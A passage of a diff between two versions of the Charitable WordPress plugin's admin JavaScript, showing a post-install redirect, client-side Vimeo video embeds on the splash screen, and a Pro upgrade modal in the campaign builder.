status-installed status-missing\").removeClass(\"button button-primary button-secondary disabled\").addClass(cssClass).html(buttonText)}else{if(\"object\"===typeof res.data){if(pluginType===\"addon\"){$addon.find(\".actions\").append('\u003Cdiv class=\"msg error\">\u003Cp>'+charitable_admin.addon_error+\"\u003C\u002Fp>\u003C\u002Fdiv>\")}else{$addon.find(\".actions\").append('\u003Cdiv class=\"msg error\">\u003Cp>'+charitable_admin.plugin_error+\"\u003C\u002Fp>\u003C\u002Fdiv>\")}}else{if(\"string\"===typeof res){var err_data=JSON.parse(res);if(\"string\"===typeof err_data.error){$addon.find(\".actions\").append('\u003Cdiv class=\"msg error\">\u003Cp>'+err_data.error+\"\u003C\u002Fp>\u003C\u002Fdiv>\")}else{$addon.find(\".actions\").append('\u003Cdiv class=\"msg error\">\u003Cp>There has been an error.\u003C\u002Fp>\u003C\u002Fdiv>')}}}if(\"install\"===state&&\"addon\"===pluginType){$btn.addClass(\"status-go-to-url\").removeClass(\"status-missing\")}$btn.html(errorText)}$btn.prop(\"disabled\",false).removeClass(\"loading\");if(!$addon.find(\".actions\").find(\".msg.error\").length){setTimeout(function(){$(\".addon-item .msg\").remove()},3e3)}})},getQueryString:function(name){var match=new RegExp(\"[?&]\"+name+\"=([^&]*)\").exec(window.location.search);return match&&decodeURIComponent(match[1].replace(\u002F\\+\u002Fg,\" \"))},debug:function(msg){if(CharitableDirAdmin.isDebug()){if(typeof msg===\"object\"||msg.constructor===Array){console.log(\"Charitable Debug:\");console.log(msg)}else{console.log(\"Charitable Debug: \"+msg)}}},isDebug:function(){return window.location.hash&&\"#charitabledebug\"===window.location.hash}};CharitableDirAdmin.init();window.CharitableDirAdmin=CharitableDirAdmin})(jQuery);\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fassets\u002Fjs\u002Fadmin\u002Fcharitable-admin-addons.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fassets\u002Fjs\u002Fadmin\u002Fcharitable-admin-addons.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fassets\u002Fjs\u002Fadmin\u002Fcharitable-admin-addons.js\t2025-09-24 16:00:00.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fassets\u002Fjs\u002Fadmin\u002Fcharitable-admin-addons.js\t2026-05-11 23:16:48.000000000 +0000\n@@ -220,6 +220,17 @@\n \t\t\t$btn.removeClass( 'loading' );\n \n \t\t\tif ( res.success ) {\n+\n+\t\t\t\t\u002F\u002F Server may include a `redirect` URL when the just-completed action\n+\t\t\t\t\u002F\u002F should navigate the admin somewhere new (e.g. installing\u002Factivating\n+\t\t\t\t\u002F\u002F Charitable Pro auto-deactivates Lite, so we send the user to the\n+\t\t\t\t\u002F\u002F Charitable dashboard rather than letting them land on a now-missing\n+\t\t\t\t\u002F\u002F admin screen).\n+\t\t\t\tif ( res.data && 'object' === typeof res.data && res.data.redirect ) {\n+\t\t\t\t\twindow.location.href = res.data.redirect;\n+\t\t\t\t\treturn;\n+\t\t\t\t}\n+\n \t\t\t\tvar successText = '';\n \t\t\t\tvar stateText = '';\n \t\t\t\tvar buttonText = '';\n@@ -233,7 +244,7 @@\n \t\t\t\t\t\tcssClass = 'plugin' === pluginType ? 'status-installed button button-secondary' : 'status-installed';\n \t\t\t\t\t}\n \t\t\t\t} else {\n-\t\t\t\t\tsuccessText = res.data;\n+\t\t\t\t\tsuccessText = ( res.data && 'object' === typeof res.data && res.data.msg ) ? res.data.msg : res.data;\n \t\t\t\t\t\u002F\u002F Reflect new state in UI.\n \t\t\t\t\tif ( state === 'activate' ) {\n \t\t\t\t\t\tstateText = 'Active';\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fassets\u002Fjs\u002Fadmin\u002Fcharitable-admin-addons.min.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fassets\u002Fjs\u002Fadmin\u002Fcharitable-admin-addons.min.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fassets\u002Fjs\u002Fadmin\u002Fcharitable-admin-addons.min.js\t2026-02-19 20:09:36.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fassets\u002Fjs\u002Fadmin\u002Fcharitable-admin-addons.min.js\t2026-05-11 23:16:48.000000000 +0000\n@@ -8,4 +8,4 @@\n  * @since     1.8.7.6\n  * @version   1.8.7.6\n  *\u002F\n-(function($){\"use strict\";var s;var CharitableAdminAddons={settings:{iconActivate:'\u003Ci class=\"fa fa-toggle-on fa-flip-horizontal\" aria-hidden=\"true\">\u003C\u002Fi>',iconDeactivate:'\u003Ci class=\"fa fa-toggle-on\" aria-hidden=\"true\">\u003C\u002Fi>',iconInstall:'\u003Ci class=\"fa fa-cloud-download\" aria-hidden=\"true\">\u003C\u002Fi>',iconSpinner:'\u003Ci class=\"fa fa-spinner fa-spin\" aria-hidden=\"true\">\u003C\u002Fi>'},init:function(){s=this.settings;$(CharitableAdminAddons.ready)},ready:function(){if(!$(\"#charitable-admin-addons\").length){return}$(document).on(\"click\",\"#charitable-admin-addons .action-button button\",CharitableAdminAddons.handleAddonAction)},handleAddonAction:function(e){e.preventDefault();var $btn=$(this);var $footer=$btn.parents(\".addon-item\");var classes={active:\"status-active\",activating:\"status-activating\",incompatible:\"status-incompatible\",installed:\"status-installed\",missing:\"status-missing\",goToUrl:\"status-go-to-url\",withError:\"status-with-error\"};if($footer.hasClass(classes.goToUrl)){window.open($btn.attr(\"data-plugin\"),\"_blank\");return}$btn.prop(\"disabled\",true);var checked=$btn.is(\":checked\");var cssClass;var plugin=$btn.attr(\"data-plugin\");var pluginType=$btn.attr(\"data-type\");var $addon=$btn.parents(\".addon-item\");var state=CharitableAdminAddons.getAddonState($footer,classes,$btn);CharitableAdminAddons.updateAddonButton($btn,state,true);CharitableAdminAddons.setAddonState(plugin,state,pluginType,function(res){CharitableAdminAddons.handleAddonStateResponse(res,$addon,$btn,state,pluginType,cssClass)},function(xhr){CharitableAdminAddons.handleAddonStateError(xhr,$addon,$btn,state)})},getAddonState:function($footer,classes,$btn){if($footer.hasClass(classes.missing)){return\"install\"}if($footer.hasClass(classes.installed)){return\"activate\"}if($footer.hasClass(classes.active)){return\"deactivate\"}if($footer.hasClass(classes.incompatible)){return\"incompatible\"}if($btn.hasClass(\"status-missing\")){return\"install\"}if($btn.hasClass(\"status-installed\")){return\"activate\"}if($btn.hasClass(\"status-active\")){return\"deactivate\"}return\"install\"},updateAddonButton:function($btn,state,loading){var text=\"\";var cssClass=\"\";if(loading){if(state===\"install\"){text=s.iconSpinner+\" Installing...\"}else if(state===\"deactivate\"){text=s.iconSpinner+\" Deactivating...\"}else{text=s.iconSpinner+\" Activating...\"}cssClass=\"button button-secondary loading\"}else{switch(state){case\"install\":text=s.iconInstall+\" Install Plugin\";cssClass=\"status-missing button button-primary\";break;case\"activate\":text=s.iconActivate+\" Activate\";cssClass=\"status-installed button button-secondary\";break;case\"deactivate\":text=s.iconDeactivate+\" Deactivate\";cssClass=\"status-active button button-secondary\";break;case\"incompatible\":text=\"Incompatible\";cssClass=\"status-incompatible button button-secondary disabled\";break}}$btn.removeClass().addClass(cssClass).html(text)},setAddonState:function(plugin,state,pluginType,callback,errorCallback){var actions={activate:\"charitable_addons_activate\",install:\"charitable_addons_install_wporg\",deactivate:\"charitable_addons_deactivate\",incompatible:\"charitable_addons_activate\"};var action=actions[state];if(!action){return}var data={action:action,nonce:charitable_admin_addons.nonce,plugin:plugin,type:pluginType};$.post(charitable_admin_addons.ajax_url,data,function(res){callback(res)}).fail(function(xhr){errorCallback(xhr)})},handleAddonStateResponse:function(res,$addon,$btn,state,pluginType,cssClass){$btn.prop(\"disabled\",false);$btn.removeClass(\"loading\");if(res.success){var successText=\"\";var stateText=\"\";var buttonText=\"\";if(\"install\"===state){$btn.attr(\"data-plugin\",res.data.basename);successText=res.data.msg;if(!res.data.is_activated){stateText=\"Inactive\";buttonText=\"plugin\"===pluginType?\"Activate\":s.iconActivate+\" Activate\";cssClass=\"plugin\"===pluginType?\"status-installed button button-secondary\":\"status-installed\"}}else{successText=res.data;if(state===\"activate\"){stateText=\"Active\";buttonText=pluginType===\"plugin\"?\"Deactivate\":s.iconDeactivate+\" Deactivate\";cssClass=pluginType===\"plugin\"?\"status-active button button-secondary\":\"status-active\"}else if(state===\"deactivate\"){stateText=\"Inactive\";buttonText=pluginType===\"plugin\"?\"Activate\":s.iconActivate+\" Activate\";cssClass=pluginType===\"plugin\"?\"status-installed button button-secondary\":\"status-installed\"}}$addon.find(\".actions\").append('\u003Cdiv class=\"msg success\">'+successText+\"\u003C\u002Fdiv>\");$addon.find(\"span.status-label\").removeClass(\"status-active status-installed status-missing\").addClass(cssClass).removeClass(\"button button-primary button-secondary disabled\").text(stateText);$btn.removeClass(\"status-active status-installed status-missing\").removeClass(\"button button-primary button-secondary disabled loading\").addClass(cssClass).html(buttonText)}else{if(\"object\"===typeof res.data){if(pluginType===\"addon\"){$addon.find(\".actions\").append('\u003Cdiv class=\"msg error\">\u003Cp>Error installing addon\u003C\u002Fp>\u003C\u002Fdiv>')}else{$addon.find(\".actions\").append('\u003Cdiv class=\"msg error\">\u003Cp>'+res.data+\"\u003C\u002Fp>\u003C\u002Fdiv>\")}}else{$addon.find(\".actions\").append('\u003Cdiv class=\"msg error\">\u003Cp>'+res.data+\"\u003C\u002Fp>\u003C\u002Fdiv>\")}$btn.removeClass(\"loading\");CharitableAdminAddons.updateAddonButton($btn,state,false)}setTimeout(function(){$addon.find(\".msg\").fadeOut(300,function(){$(this).remove()})},3e3)},handleAddonStateError:function(xhr,$addon,$btn,state){$btn.prop(\"disabled\",false);$addon.find(\".actions\").append('\u003Cdiv class=\"msg error\">\u003Cp>Network error. Please try again.\u003C\u002Fp>\u003C\u002Fdiv>');CharitableAdminAddons.updateAddonButton($btn,state,false);setTimeout(function(){$addon.find(\".msg\").fadeOut(300,function(){$(this).remove()})},3e3)}};$(document).ready(function(){CharitableAdminAddons.init()})})(jQuery);\n\\ No newline at end of file\n+(function($){\"use strict\";var s;var CharitableAdminAddons={settings:{iconActivate:'\u003Ci class=\"fa fa-toggle-on fa-flip-horizontal\" aria-hidden=\"true\">\u003C\u002Fi>',iconDeactivate:'\u003Ci class=\"fa fa-toggle-on\" aria-hidden=\"true\">\u003C\u002Fi>',iconInstall:'\u003Ci class=\"fa fa-cloud-download\" aria-hidden=\"true\">\u003C\u002Fi>',iconSpinner:'\u003Ci class=\"fa fa-spinner fa-spin\" aria-hidden=\"true\">\u003C\u002Fi>'},init:function(){s=this.settings;$(CharitableAdminAddons.ready)},ready:function(){if(!$(\"#charitable-admin-addons\").length){return}$(document).on(\"click\",\"#charitable-admin-addons .action-button button\",CharitableAdminAddons.handleAddonAction)},handleAddonAction:function(e){e.preventDefault();var $btn=$(this);var $footer=$btn.parents(\".addon-item\");var classes={active:\"status-active\",activating:\"status-activating\",incompatible:\"status-incompatible\",installed:\"status-installed\",missing:\"status-missing\",goToUrl:\"status-go-to-url\",withError:\"status-with-error\"};if($footer.hasClass(classes.goToUrl)){window.open($btn.attr(\"data-plugin\"),\"_blank\");return}$btn.prop(\"disabled\",true);var checked=$btn.is(\":checked\");var cssClass;var plugin=$btn.attr(\"data-plugin\");var pluginType=$btn.attr(\"data-type\");var $addon=$btn.parents(\".addon-item\");var state=CharitableAdminAddons.getAddonState($footer,classes,$btn);CharitableAdminAddons.updateAddonButton($btn,state,true);CharitableAdminAddons.setAddonState(plugin,state,pluginType,function(res){CharitableAdminAddons.handleAddonStateResponse(res,$addon,$btn,state,pluginType,cssClass)},function(xhr){CharitableAdminAddons.handleAddonStateError(xhr,$addon,$btn,state)})},getAddonState:function($footer,classes,$btn){if($footer.hasClass(classes.missing)){return\"install\"}if($footer.hasClass(classes.installed)){return\"activate\"}if($footer.hasClass(classes.active)){return\"deactivate\"}if($footer.hasClass(classes.incompatible)){return\"incompatible\"}if($btn.hasClass(\"status-missing\")){return\"install\"}if($btn.hasClass(\"status-installed\")){return\"activate\"}if($btn.hasClass(\"status-active\")){return\"deactivate\"}return\"install\"},updateAddonButton:function($btn,state,loading){var text=\"\";var cssClass=\"\";if(loading){if(state===\"install\"){text=s.iconSpinner+\" Installing...\"}else if(state===\"deactivate\"){text=s.iconSpinner+\" Deactivating...\"}else{text=s.iconSpinner+\" Activating...\"}cssClass=\"button button-secondary loading\"}else{switch(state){case\"install\":text=s.iconInstall+\" Install Plugin\";cssClass=\"status-missing button button-primary\";break;case\"activate\":text=s.iconActivate+\" Activate\";cssClass=\"status-installed button button-secondary\";break;case\"deactivate\":text=s.iconDeactivate+\" Deactivate\";cssClass=\"status-active button button-secondary\";break;case\"incompatible\":text=\"Incompatible\";cssClass=\"status-incompatible button button-secondary disabled\";break}}$btn.removeClass().addClass(cssClass).html(text)},setAddonState:function(plugin,state,pluginType,callback,errorCallback){var actions={activate:\"charitable_addons_activate\",install:\"charitable_addons_install_wporg\",deactivate:\"charitable_addons_deactivate\",incompatible:\"charitable_addons_activate\"};var action=actions[state];if(!action){return}var data={action:action,nonce:charitable_admin_addons.nonce,plugin:plugin,type:pluginType};$.post(charitable_admin_addons.ajax_url,data,function(res){callback(res)}).fail(function(xhr){errorCallback(xhr)})},handleAddonStateResponse:function(res,$addon,$btn,state,pluginType,cssClass){$btn.prop(\"disabled\",false);$btn.removeClass(\"loading\");if(res.success){if(res.data&&\"object\"===typeof res.data&&res.data.redirect){window.location.href=res.data.redirect;return}var successText=\"\";var stateText=\"\";var buttonText=\"\";if(\"install\"===state){$btn.attr(\"data-plugin\",res.data.basename);successText=res.data.msg;if(!res.data.is_activated){stateText=\"Inactive\";buttonText=\"plugin\"===pluginType?\"Activate\":s.iconActivate+\" Activate\";cssClass=\"plugin\"===pluginType?\"status-installed button button-secondary\":\"status-installed\"}}else{successText=res.data&&\"object\"===typeof res.data&&res.data.msg?res.data.msg:res.data;if(state===\"activate\"){stateText=\"Active\";buttonText=pluginType===\"plugin\"?\"Deactivate\":s.iconDeactivate+\" Deactivate\";cssClass=pluginType===\"plugin\"?\"status-active button button-secondary\":\"status-active\"}else if(state===\"deactivate\"){stateText=\"Inactive\";buttonText=pluginType===\"plugin\"?\"Activate\":s.iconActivate+\" Activate\";cssClass=pluginType===\"plugin\"?\"status-installed button button-secondary\":\"status-installed\"}}$addon.find(\".actions\").append('\u003Cdiv class=\"msg success\">'+successText+\"\u003C\u002Fdiv>\");$addon.find(\"span.status-label\").removeClass(\"status-active status-installed status-missing\").addClass(cssClass).removeClass(\"button button-primary button-secondary disabled\").text(stateText);$btn.removeClass(\"status-active status-installed status-missing\").removeClass(\"button button-primary button-secondary disabled loading\").addClass(cssClass).html(buttonText)}else{if(\"object\"===typeof res.data){if(pluginType===\"addon\"){$addon.find(\".actions\").append('\u003Cdiv class=\"msg error\">\u003Cp>Error installing addon\u003C\u002Fp>\u003C\u002Fdiv>')}else{$addon.find(\".actions\").append('\u003Cdiv class=\"msg error\">\u003Cp>'+res.data+\"\u003C\u002Fp>\u003C\u002Fdiv>\")}}else{$addon.find(\".actions\").append('\u003Cdiv class=\"msg error\">\u003Cp>'+res.data+\"\u003C\u002Fp>\u003C\u002Fdiv>\")}$btn.removeClass(\"loading\");CharitableAdminAddons.updateAddonButton($btn,state,false)}setTimeout(function(){$addon.find(\".msg\").fadeOut(300,function(){$(this).remove()})},3e3)},handleAddonStateError:function(xhr,$addon,$btn,state){$btn.prop(\"disabled\",false);$addon.find(\".actions\").append('\u003Cdiv class=\"msg error\">\u003Cp>Network error. Please try again.\u003C\u002Fp>\u003C\u002Fdiv>');CharitableAdminAddons.updateAddonButton($btn,state,false);setTimeout(function(){$addon.find(\".msg\").fadeOut(300,function(){$(this).remove()})},3e3)}};$(document).ready(function(){CharitableAdminAddons.init()})})(jQuery);\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fassets\u002Fjs\u002Fadmin\u002Fcharitable-admin-splash.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fassets\u002Fjs\u002Fadmin\u002Fcharitable-admin-splash.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fassets\u002Fjs\u002Fadmin\u002Fcharitable-admin-splash.js\t2025-08-27 14:54:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fassets\u002Fjs\u002Fadmin\u002Fcharitable-admin-splash.js\t2026-05-11 23:16:48.000000000 +0000\n@@ -93,6 +93,7 @@\n \t\t\t\tonOpen() {\n \t\t\t\t\t$( '.jconfirm' ).css( 'bottom', 0 );\n \t\t\t\t\t$( '.charitable-dash-widget-welcome-block' ).remove();\n+\t\t\t\t\tapp.injectVideoEmbeds();\n \t\t\t\t},\n \t\t\t\tonDestroy() {\n \t\t\t\t\t$( 'body' )\n@@ -101,6 +102,42 @@\n \t\t\t\t},\n \t\t\t} );\n \t\t},\n+\n+\t\t\u002F**\n+\t\t * Inject video iframes into placeholder divs.\n+\t\t *\n+\t\t * The PHP template renders empty divs with data-vimeo-id; we build the\n+\t\t * iframe client-side because admin output filters can strip server-rendered\n+\t\t * iframes from the response.\n+\t\t *\n+\t\t * @since 1.8.10.6\n+\t\t *\u002F\n+\t\tinjectVideoEmbeds() {\n+\t\t\t$( '.charitable-splash-video-embed[data-vimeo-id]' ).each( function() {\n+\t\t\t\tconst $el = $( this );\n+\n+\t\t\t\tif ( $el.children( 'iframe' ).length ) {\n+\t\t\t\t\treturn;\n+\t\t\t\t}\n+\n+\t\t\t\tconst id = String( $el.attr( 'data-vimeo-id' ) || '' ).replace( \u002F[^0-9]\u002Fg, '' );\n+\n+\t\t\t\tif ( ! id ) {\n+\t\t\t\t\treturn;\n+\t\t\t\t}\n+\n+\t\t\t\tconst title = $el.attr( 'data-video-title' ) || '';\n+\t\t\t\tconst iframe = document.createElement( 'iframe' );\n+\n+\t\t\t\tiframe.src = 'https:\u002F\u002Fplayer.vimeo.com\u002Fvideo\u002F' + id + '?autoplay=1&muted=1&controls=1&dnt=1';\n+\t\t\t\tiframe.setAttribute( 'frameborder', '0' );\n+\t\t\t\tiframe.setAttribute( 'allow', 'autoplay; fullscreen; picture-in-picture' );\n+\t\t\t\tiframe.setAttribute( 'allowfullscreen', '' );\n+\t\t\t\tiframe.setAttribute( 'title', title );\n+\n+\t\t\t\t$el.append( iframe );\n+\t\t\t} );\n+\t\t},\n \t};\n \n \t\u002F\u002F Provide access to public functions\u002Fproperties.\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fassets\u002Fjs\u002Fadmin\u002Fcharitable-admin-splash.min.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fassets\u002Fjs\u002Fadmin\u002Fcharitable-admin-splash.min.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fassets\u002Fjs\u002Fadmin\u002Fcharitable-admin-splash.min.js\t2026-02-19 20:09:36.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fassets\u002Fjs\u002Fadmin\u002Fcharitable-admin-splash.min.js\t2026-05-11 23:16:48.000000000 +0000\n@@ -1 +1 @@\n-const CharitableAdminSplash=window.CharitableAdminSplash||function(document,window,$){const app={init(){$(app.ready)},ready(){app.events();if(charitable_admin_splash_data.triggerForceOpen){app.openModal()}},events(){$(document).on(\"click\",\".charitable-splash-modal-open\",function(e){e.preventDefault();app.openModal()})},openModal(){$.alert({title:false,content:wp.template(\"charitable-splash-modal-content\")(),icon:false,closeIcon:true,boxWidth:\"1000px\",theme:\"modern\",useBootstrap:false,scrollToPreviousElement:false,buttons:false,backgroundDismiss:true,offsetTop:50,offsetBottom:50,animation:\"opacity\",closeAnimation:\"opacity\",animateFromElement:false,onOpenBefore(){const scrollbarWidth=window.innerWidth-document.body.clientWidth+\"px\";$(\"body\").addClass(\"charitable-splash-modal\").css(\"--charitable-body-scrollbar-width\",scrollbarWidth);$(\".charitable-challenge-popup-container\").addClass(\"charitable-invisible\");setTimeout(()=>{if(navigator.userAgent.includes(\"Safari\")&&!navigator.userAgent.includes(\"Chrome\")){$(\"html, body\").animate({scrollTop:0},0)}$(\".jconfirm-box-container\").css(\"padding-top\",\"50px\").animate({opacity:1},30)},0)},onOpen(){$(\".jconfirm\").css(\"bottom\",0);$(\".charitable-dash-widget-welcome-block\").remove()},onDestroy(){$(\"body\").removeClass(\"charitable-splash-modal\").css(\"--charitable-body-scrollbar-width\",null)}})}};return app}(document,window,jQuery);CharitableAdminSplash.init();\n\\ No newline at end of file\n+const CharitableAdminSplash=window.CharitableAdminSplash||function(document,window,$){const app={init(){$(app.ready)},ready(){app.events();if(charitable_admin_splash_data.triggerForceOpen){app.openModal()}},events(){$(document).on(\"click\",\".charitable-splash-modal-open\",function(e){e.preventDefault();app.openModal()})},openModal(){$.alert({title:false,content:wp.template(\"charitable-splash-modal-content\")(),icon:false,closeIcon:true,boxWidth:\"1000px\",theme:\"modern\",useBootstrap:false,scrollToPreviousElement:false,buttons:false,backgroundDismiss:true,offsetTop:50,offsetBottom:50,animation:\"opacity\",closeAnimation:\"opacity\",animateFromElement:false,onOpenBefore(){const scrollbarWidth=window.innerWidth-document.body.clientWidth+\"px\";$(\"body\").addClass(\"charitable-splash-modal\").css(\"--charitable-body-scrollbar-width\",scrollbarWidth);$(\".charitable-challenge-popup-container\").addClass(\"charitable-invisible\");setTimeout(()=>{if(navigator.userAgent.includes(\"Safari\")&&!navigator.userAgent.includes(\"Chrome\")){$(\"html, body\").animate({scrollTop:0},0)}$(\".jconfirm-box-container\").css(\"padding-top\",\"50px\").animate({opacity:1},30)},0)},onOpen(){$(\".jconfirm\").css(\"bottom\",0);$(\".charitable-dash-widget-welcome-block\").remove();app.injectVideoEmbeds()},onDestroy(){$(\"body\").removeClass(\"charitable-splash-modal\").css(\"--charitable-body-scrollbar-width\",null)}})},injectVideoEmbeds(){$(\".charitable-splash-video-embed[data-vimeo-id]\").each(function(){const $el=$(this);if($el.children(\"iframe\").length){return}const id=String($el.attr(\"data-vimeo-id\")||\"\").replace(\u002F[^0-9]\u002Fg,\"\");if(!id){return}const title=$el.attr(\"data-video-title\")||\"\";const iframe=document.createElement(\"iframe\");iframe.src=\"https:\u002F\u002Fplayer.vimeo.com\u002Fvideo\u002F\"+id+\"?autoplay=1&muted=1&controls=1&dnt=1\";iframe.setAttribute(\"frameborder\",\"0\");iframe.setAttribute(\"allow\",\"autoplay; fullscreen; picture-in-picture\");iframe.setAttribute(\"allowfullscreen\",\"\");iframe.setAttribute(\"title\",title);$el.append(iframe)})}};return app}(document,window,jQuery);CharitableAdminSplash.init();\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fassets\u002Fjs\u002Fcampaign-builder\u002Fadmin-builder.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fassets\u002Fjs\u002Fcampaign-builder\u002Fadmin-builder.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fassets\u002Fjs\u002Fcampaign-builder\u002Fadmin-builder.js\t2026-02-24 20:25:10.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fassets\u002Fjs\u002Fcampaign-builder\u002Fadmin-builder.js\t2026-05-11 23:16:48.000000000 +0000\n@@ -2829,7 +2829,7 @@\n \t\tbindUIActionsPanels: function() {\n \n \t\t\t\u002F\u002F Panel switching.\n-\t\t\t$builder.on( 'click', '#charitable-panels-toggle button:not(.charitable-panel-help-button), .charitable-panel-switch', function( e ) {\n+\t\t\t$builder.on( 'click', '#charitable-panels-toggle button:not(.charitable-panel-help-button):not(.charitable-panel-form-upgrade), .charitable-panel-switch', function( e ) {\n \t\t\t\te.preventDefault();\n \n \t\t\t\t\u002F\u002F if the button has a disabled class, then we can't switch the panel because it's disabled.\n@@ -2838,6 +2838,13 @@\n \t\t\t\t}\n \t\t\t} );\n \n+\t\t\t\u002F\u002F Form panel (Lite) — opens the Pro upgrade modal instead of switching panels.\n+\t\t\t$builder.on( 'click', '.charitable-panel-form-upgrade', function( e ) {\n+\t\t\t\te.preventDefault();\n+\t\t\t\te.stopImmediatePropagation();\n+\t\t\t\tapp.formPanelUpgradeModal();\n+\t\t\t} );\n+\n \t\t\t\u002F\u002F Help button - allow the link to work by ensuring the anchor's href is followed.\n \t\t\t$builder.on( 'click', '.charitable-panel-help-button, #charitable-panels-toggle a:has(.charitable-panel-help-button)', function( e ) {\n \t\t\t\tvar $anchor = $( this ).closest( 'a' );\n@@ -8683,6 +8690,57 @@\n \t\t\t\t}\n \t\t\t} );\n \t\t},\n+\n+\t\t\u002F**\n+\t\t * Upgrade modal for the Form panel (Lite only). Uses custom copy but\n+\t\t * reuses the shared upgrade modal theme.\n+\t\t *\n+\t\t * @since 1.8.10.5\n+\t\t *\u002F\n+\t\tformPanelUpgradeModal: function() {\n+\n+\t\t\t\u002F\u002F Prevent stacking — bail if a modal is already open.\n+\t\t\tif ( app.formPanelUpgradeModalOpen ) {\n+\t\t\t\treturn;\n+\t\t\t}\n+\n+\t\t\tvar strings = ( typeof charitable_builder !== 'undefined' && charitable_builder.form_upgrade_modal ) ? charitable_builder.form_upgrade_modal : {};\n+\n+\t\t\tapp.formPanelUpgradeModalOpen = true;\n+\n+\t\t\t$.alert( {\n+\t\t\t\tbackgroundDismiss: true,\n+\t\t\t\ttitle            : strings.title || '',\n+\t\t\t\ticon             : 'fa fa-lock',\n+\t\t\t\tcontent          : strings.message || '',\n+\t\t\t\tboxWidth         : app.getUpgradeModalWidth( false ),\n+\t\t\t\ttheme            : 'modern,charitable-upgrade-form-lite',\n+\t\t\t\tcloseIcon        : true,\n+\t\t\t\tonOpenBefore: function() {\n+\n+\t\t\t\t\tthis.$body.find( '.jconfirm-content' ).addClass( 'lite-upgrade' );\n+\n+\t\t\t\t\tif ( strings.doc ) {\n+\t\t\t\t\t\tthis.$btnc.after( strings.doc );\n+\t\t\t\t\t}\n+\t\t\t\t},\n+\t\t\t\tonClose: function() {\n+\t\t\t\t\tapp.formPanelUpgradeModalOpen = false;\n+\t\t\t\t},\n+\t\t\t\tbuttons: {\n+\t\t\t\t\tconfirm: {\n+\t\t\t\t\t\ttext    : strings.button || '',\n+\t\t\t\t\t\tbtnClass: 'btn-confirm',\n+\t\t\t\t\t\tkeys    : [ 'enter' ],\n+\t\t\t\t\t\taction: function() {\n+\t\t\t\t\t\t\tif ( strings.upgrade_url ) {\n+\t\t\t\t\t\t\t\twindow.open( strings.upgrade_url, '_blank' );\n+\t\t\t\t\t\t\t}\n+\t\t\t\t\t\t}\n+\t\t\t\t\t}\n+\t\t\t\t}\n+\t\t\t} );\n+\t\t},\n \n \t\t\u002F**\n \t\t * Upgrade modal.\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fassets\u002Fjs\u002Fcampaign-builder\u002Fadmin-builder.min.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fassets\u002Fjs\u002Fcampaign-builder\u002Fadmin-builder.min.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fassets\u002Fjs\u002Fcampaign-builder\u002Fadmin-builder.min.js\t2026-02-24 20:25:10.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fassets\u002Fjs\u002Fcampaign-builder\u002Fadmin-builder.min.js\t2026-05-11 23:16:48.000000000 +0000\n@@ -1 +1 @@\n-var CharitableCampaignBuilder=window.CharitableCampaignBuilder||function(document,window,$){var s,$builder,$builderForm,elements={};var closeConfirmation=true;var adding=false;var app={settings:{spinner:'\u003Ci class=\"charitable-loading-spinner\">\u003C\u002Fi>',spinnerInline:'\u003Ci class=\"charitable-loading-spinner 